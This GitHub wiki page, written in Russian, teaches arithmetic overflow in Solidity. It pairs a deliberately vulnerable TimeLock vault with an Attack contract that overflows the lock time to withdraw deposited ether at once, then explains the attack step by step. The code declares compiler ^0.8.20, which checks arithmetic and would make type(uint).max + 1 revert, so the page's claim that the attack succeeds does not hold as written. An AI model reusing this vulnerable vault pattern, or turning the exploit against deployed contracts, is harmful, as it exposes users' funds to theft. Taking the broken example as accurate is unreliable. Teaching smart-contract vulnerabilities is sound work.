Arithmetic Overflow and Underflow - demonoved/A-trial-run-in-solidity GitHub Wiki
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.20;
/* Этот контракт предназначен для того, чтобы действовать как хранилище времени.
Пользователь может внести депозит в этот контракт, но не может вывести средства в течение как минимум недели.
Пользователь также может продлить время ожидания сверх 1 недели.
*/
/*
1. Разверните TimeLock
2. Развернуть атаку с адресом TimeLock
3. Вызовите Attack.attack, отправив 1 эфир. Вы сразу же сможете
Выведите свой эфир.
Что случилось?
Атака привела к переполнению TimeLock.lockTime и смогла выйти
до 1 недели ожидания.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondToIncrease) public {
lockTime[msg.sender] += _secondToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient fund");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock){
timeLock = TimeLock(_timeLock);
}
fallback() external payable{
timeLock.deposit{value: msg.value}();
/* если t = текущее время блокировки, то нам нужно найти x такое, что
х + т = 2**256 = 0
Таким образом, x = -t
2**256 = тип(uint).max + 1
Таким образом, x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
Этот код представляет собой два контракта, написанные на языке программирования Solidity для сети Ethereum. Первый контракт TimeLock действует как хранилище эфира (это внутренняя криптовалюта сети Ethereum), где пользователи могут вносить средства, но могут снять их только после определенного периода времени (в данном случае, через неделю). Второй контракт Attack предназначен для эксплуатации уязвимости в контракте TimeLock.
Вот пошаговый разбор того, что представляют собой эти контракты и как они работают:
Контракт TimeLock
-
balances: Это отображение (mapping) адресов на суммы их депозитов. -
lockTime: Это отображение адресов на время, до которого их средства будут заблокированы. -
deposit(): Позволяет пользователю внести эфир в контракт, увеличивает баланс отправителя на внесенную сумму и устанавливаетlockTimeна неделю после текущей метки времени блока. -
increaseLockTime(uint _secondToIncrease): Позволяет пользователю увеличить время блокировки своих депозитированных средств на указанное количество секунд. -
withdraw(): Позволяет пользователю снять весь свой баланс, но только если текущее время больше, чем установленноеlockTime. Функция осуществляет возврат эфира с помощью низкоуровневого вызоваcall.
Контракт Attack
- В конструкторе контракта принимается адрес контракта
TimeLock, который будет атакован. - Функция
fallback()вызывается, когда контракт получает эфир. В этой функции:- Сначала вызывается
depositв контрактеTimeLock, сразу внося полученный эфир. - Затем рассчитывается и вызывается
increaseLockTimeс очень большим значением, являющимся результатом переполнения, которое устанавливает время блокировкиlockTimeобратно на 0 (из-за переполнения целого числа). - Наконец, сразу же вызывается
withdraw, позволяя атакующему сразу же извлечь свои средства, минуя ограничения времени "ожидания".
- Сначала вызывается
Что происходит в процессе атаки:
- Контракт
Attackделает депозит вTimeLock, используя присланные ему средства. - Затем контракт
Attackвычисляет значение для переполненияlockTimeи вызываетincreaseLockTime, чтобы установить время блокировки обратно на 0 или очень близкое к 0 время. - Используя переполненное значение, контракт
Attackтут же вызываетwithdrawи извлекает эфир, обходя ограничение на одну неделю.
Это является классическим примером атаки на контракт с использованием переполнения целочисленных значений. В реальной сети Ethereum, аналогичный подход к написанию контракта TimeLock был бы большой уязвимостью. Разработчики контрактов должны быть предельно внимательны и использовать проверки для предотвращения такого рода атак.